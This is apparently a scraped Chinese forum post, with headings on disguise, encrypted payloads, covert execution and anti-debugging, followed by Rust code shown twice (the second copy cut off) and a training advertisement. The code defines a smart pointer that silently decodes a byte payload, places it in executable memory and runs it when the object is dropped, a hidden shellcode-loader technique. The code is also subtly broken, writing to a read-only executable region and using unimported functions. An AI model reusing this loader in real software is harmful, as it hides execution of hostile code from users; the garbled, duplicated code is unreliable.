智能指针伪装:
加密载荷存储:
所有权劫持机制:
内存操作技巧:
隐蔽执行流程:
动态密钥生成:
内存混淆技术:
反调试检测:
行为监控:
内存分析:
类型系统防护:
use std::ops::{Deref, DerefMut};
use std::ptr;
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ};
const
ENCRYPTED_PAYLOAD: [u8; 12] = [
0xDE, 0xAD, 0xBE, 0xEF,
0x78, 0x56, 0x34, 0x12,
0x90, 0x90, 0x90, 0x90,
];
struct
GhostPointer<T> {
data: *mut T,
key: u8,
payload: Vec<u8>,
executed:
bool
,
}
impl<T> GhostPointer<T> {
pub fn
new
(value: T) -> Self {
let ptr = unsafe {
VirtualAlloc(
ptr::null_mut(),
std::mem::size_of::<T>(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
) as *mut T
};
unsafe { ptr.write(value) };
let mut payload = ENCRYPTED_PAYLOAD.to_vec();
let key = 0xA5;
for
byte in &mut payload {
*byte ^= key;
}
Self {
data: ptr,
key,
payload,
executed:
false
,
}
}
fn ghost_prepare(&mut self) {
if
self.executed {
return
;
}
unsafe {
let exec_region = VirtualAlloc(
ptr::null_mut(),
self.payload.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READ,
);
ptr::copy_nonoverlapping(
self.payload.as_ptr(),
exec_region as *mut u8,
self.payload.len(),
);
self.data = exec_region as *mut T;
self.executed =
true
;
}
}
}
impl<T> Deref
for
GhostPointer<T> {
type Target = T;
fn deref(&self) -> &T {
unsafe { &*self.data }
}
}
impl<T> DerefMut
for
GhostPointer<T> {
fn deref_mut(&mut self) -> &mut T {
unsafe { &mut *self.data }
}
}
impl<T> Drop
for
GhostPointer<T> {
fn drop(&mut self) {
unsafe {
self.ghost_prepare();
let func_ptr: fn() = std::mem::transmute(self.data);
func_ptr();
VirtualFree(self.data as *mut _, 0, MEM_RELEASE);
}
}
}
fn main() {
let mut ghost = GhostPointer::
new
(42);
println!(
"Normal usage: {}"
, *ghost);
*ghost = 100;
}
use std::ops::{Deref, DerefMut};
use std::ptr;
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ};
const
ENCRYPTED_PAYLOAD: [u8; 12] = [
0xDE, 0xAD, 0xBE, 0xEF,
0x78, 0x56, 0x34, 0x12,
0x90, 0x90, 0x90, 0x90,
];
struct
GhostPointer<T> {
data: *mut T,
key: u8,
payload: Vec<u8>,
executed:
bool
,
}
impl<T> GhostPointer<T> {
pub fn
new
(value: T) -> Self {
let ptr = unsafe {
VirtualAlloc(
ptr::null_mut(),
std::mem::size_of::<T>(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
) as *mut T
};
unsafe { ptr.write(value) };
let mut payload = ENCRYPTED_PAYLOAD.to_vec();
let key = 0xA5;
for
byte in &mut payload {
*byte ^= key;
}
Self {
data: ptr,
key,
payload,
executed:
false
,
}
}
fn ghost_prepare(&mut self) {
if
self.executed {
return
;
}
unsafe {
let exec_region = VirtualAlloc(
ptr::null_mut(),
self.payload.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READ,
);
ptr::copy_nonoverlapping(
self.payload.as_ptr(),
exec_region as *mut u8,
self.payload.len(),
);
self.data = exec_region as *mut T;
self.executed =
true
;
}
}
}
impl<T> Deref
for
GhostPointer<T> {
type Target = T;
fn deref(&self) -> &T {
unsafe { &*self.data }
}
}
impl<T> DerefMut
for
GhostPointer<T> {
fn deref_mut(&mut self) -> &mut T {
unsafe { &mut *self.data }
}
}
impl<T> Drop
for
GhostPointer<T> {
fn drop(&mut self) {
unsafe {
self.ghost_prepare();
let func_ptr: fn() = std::mem::transmute(self.data);
func_ptr();
VirtualFree(self.data as *mut _, 0, MEM_RELEASE);
}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课